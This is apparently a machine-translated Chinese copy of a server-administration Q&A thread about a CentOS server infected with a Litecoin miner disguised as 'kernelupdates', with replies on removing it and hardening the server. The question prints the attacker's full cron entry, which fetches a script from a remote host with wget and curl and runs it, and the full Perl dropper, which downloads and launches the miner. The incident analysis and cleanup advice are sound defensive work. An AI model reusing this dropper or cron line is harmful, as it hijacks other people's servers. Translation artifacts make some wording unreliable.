我有一个CENTOS6服务器运行一些wordpress和tomcat网站。 在过去的两天里,它一直在崩溃。 经过调查,我们发现在服务器上消耗100%cpu的二进制文件。 过程在下面提到。
./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.9 -p passxxx
但是这个过程似乎无效的内核更新。 可能是服务器被攻破,这个过程是由黑客安装的,所以我杀了这个过程,并删除了Apache用户的cron条目。
但不知怎的,这个过程在几个小时后又重新开始,cron项目也恢复了,我正在寻找修改cron作业的东西。
Cron条目(apache用户)
/6 * * * * cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http://updates.dyndn-web.com/.../abc.txt;perl abc.txt;rm -f abc*
的abc.txt
#!/usr/bin/perl system("killall -9 minerd"); system("killall -9 PWNEDa"); system("killall -9 PWNEDb"); system("killall -9 PWNEDc"); system("killall -9 PWNEDd"); system("killall -9 PWNEDe"); system("killall -9 PWNEDg"); system("killall -9 PWNEDm"); system("killall -9 minerd64"); system("killall -9 minerd32"); system("killall -9 named"); $rn=1; $ar=`uname -m`; while($rn==1 || $rn==0) { $rn=int(rand(11)); } $exists=`ls /tmp/.ice-unix`; $cratch=`ps aux | grep -v grep | grep kernelupdates`; if($cratch=~/kernelupdates/gi) { die; } if($exists!~/minerd/gi && $exists!~/kernelupdates/gi) { $wig=`wget --version | grep GNU`; if(length($wig>6)) { if($ar=~/64/g) { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } else { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } } else { if($ar=~/64/g) { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } else { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } } } @prts=('8332','9091','1121','7332','6332','1332','9333','2961','8382','8332','9091','1121','7332','6332','1332','9333','2961','8382'); $prt=0; while(length($prt)<4) { $prt=$prts[int(rand(19))-1]; } print "setup for $rn:$prt done :-)\n"; system("cd /tmp/.ice-unix;./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.".$rn." -p passxxx &"); print "done!\n";
这个过程是一个Litecoin(另一种encryption货币)矿工程序。 有人访问您的服务器正在使用您的服务器来生成Litecoins(=赚钱)。 kernelupdates名字很可能只是混淆你。
在删除任何东西之前,我会build议您对所有的东西进行备份,并了解它是如何放入您的服务器的。 如果你删除它,但不删除安全问题,它很可能会回来。 我会打赌Wordpress或一些过时的插件being安全漏洞。
find并修复安全问题后,尝试查看系统日志中的cron日志。 这可能会告诉你如何插入cronjob。
我刚刚在我的服务器上受到了这个威胁。 我可以在我的日志中看到我在一个旧的wordpress网站上被击中,然后几秒钟后,他们的cron作业一遍又一遍地运行。 有趣的是,我已经有相当一段时间了这个网站,只有当我转换到nginx和php-fpm,你的设置是一样的吗?
我希望所发生的一切就是他们能够通过php / wordpress中的漏洞来安装这些cron作业,基本上他们是:
crontab -e来获取cron作业 /tmp/abc.txt.1并执行它 kernelupdates并启动它 另请注意,litecoin用户名在spdrman.2和spdrman.10之间略有不同。
有一件事,请检查你的/ etc / passwd你的apache用户。 我有我的壳愚蠢地设置为/bin/bash这可能是更安全的设置为/bin/false
另外,如果可能的话,确保你的apache用户不能执行像crontab , wget或curl这样的命令来阻止它再次发生。 这些命令似乎是他们进入时所做的核心。
作为一个预防措施,我再次改变我的SSH端口,我已经加倍检查,我已经在sshd设置中设置了PermitRootLogin no ,所以我很确定他们不能直接以root身份进入
我也得到了这个东西,显然一个用户的密码被泄露了。 我到目前为止做了什么:
sudo crontab -e -u <user>清除该用户的sudo crontab -e -u <user> sudo usermod -s /usr/sbin/nologin <user>禁用该用户的login(如果不可用,请尝试/sbin/nologin或/bin/false ) ~/.ssh/authorized_keys chkrootkit & rkhunter并运行它(只是误报) 接下来要做的是重build整个服务器。 这只是一个虚拟机,我想使用Ansible来自动完成configuration,但要赶时间的话还是没有意思。 但这是确保没有任何篡改的唯一方法。
发生在我的一个客户身上。 find安全漏洞时,一个简单的修复方法是阻止从updates.dyndn-web.com下载以及为受影响的用户禁用crontab。 (前面提到的crontab + bin / false解决scheme)
echo "www-data" >> /etc/cron.deny
这将禁用用户www-data的crontab
以下将禁止从updates.dyndn-web.com下载脚本
127.0.0.1 updates.dyndn-web.com #http://serverfault.com/questions/598522/kernelupdates-100-cpu-usage
注意:使用的脚本正在查杀“named”系统(“killall -9 named”);
我只是啾啾@wemineltc要求他们禁止用户spdrman并将他/她的LTC转移到慈善机构,我邀请您转推。
根据你提供的perl脚本,你的服务器已经被入侵了。 我强烈build议安装chrootkit(yum install chrootkit)并检查文件系统。 我也build议禁用该cronjob,所以rootkit不会更新。
5天前在opensuse服务器上也出现同样的问题; 使用的脚本正是我在我的服务器(同一组用户名和密码),相同的cron,在和ips上find的。 用ps也检查/ usr / bin / host进程; 该进程加载一个LD_PRELOAD的dynamic库,在我的情况下,libworker.so(每次从at作业调用/ usr / bin / host时都会被删除),尝试连接到update-dyndn-web.com进行POST。 ../xenta.php。 它适用于修改的shellcode(该翻译器是用PHP编写的,适合与wordpress一起使用),用于构builddynamic库。
我希望这可以帮助。